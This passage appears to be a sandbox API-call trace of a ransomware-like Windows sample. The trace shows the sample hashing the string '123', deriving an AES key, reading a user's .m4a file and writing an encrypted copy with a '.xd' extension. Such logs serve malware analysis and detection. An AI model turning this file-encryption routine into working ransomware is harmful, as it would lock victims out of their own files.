WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629530, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.999] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.999] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.999] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.999] CryptHashData (hHash=0x164c4f0, pbData=0x16296b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.999] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.999] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.999] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.999] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621720, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0065.000] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0065.000] CryptDeriveKey (in: hProv=0x17ab330, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c670) returned 1 [0065.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.000] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.000] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0065.000] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0065.000] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0065.000] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0065.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.001] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\1-jq9xwnvijg7mpogy.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0065.001] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.001] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0065.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.001] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg")) returned 0x10 [0065.001] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\1-jq9xwnvijg7mpogy.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0065.002] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.002] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.002] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.002] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.004] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0065.004] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5544, lpOverlapped=0x0) returned 1 [0065.005] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0065.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.009] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0065.010] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.010] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.010] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0065.010] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.010] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0065.010] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.010] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.010] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.010] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0065.010] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0065.011] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0065.011] CryptGetKeyParam (in: hKey=0x164c670, dwParam=0x7, pbData=0x1629640, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629640*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0065.011] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.011] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.011] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.011] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.011] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.011] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.011] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.011] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.011] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.011] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.011] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.011] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.011] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.011] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.011] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.012] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.012] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.012] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.012] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.012] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.012] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x5544, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x5550) returned 1 [0065.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.013] CharLowerBuffW (in: lpsz="byte[21841]", cchLength=0xb | out: lpsz="byte[21841]") returned 0xb [0065.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.013] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.013] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.013] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621960, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.014] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.014] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1882560*, pdwDataLen=0x130e618*=0x5544, dwBufLen=0x5550 | out: pbData=0x1882560*, pdwDataLen=0x130e618*=0x5550) returned 1 [0065.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.015] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.015] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.015] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.015] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.015] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.015] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.015] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.015] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.015] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.015] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.015] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.015] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.015] WriteFile (in: hFile=0x3bc, lpBuffer=0x17c4338*, nNumberOfBytesToWrite=0x5550, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17c4338*, lpNumberOfBytesWritten=0x130f01c*=0x5550, lpOverlapped=0x0) returned 1 [0065.017] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.017] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.017] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0065.017] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.017] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.017] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0065.017] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0065.017] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0065.017] CryptDestroyKey (hKey=0x164c670) returned 1 [0065.017] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, 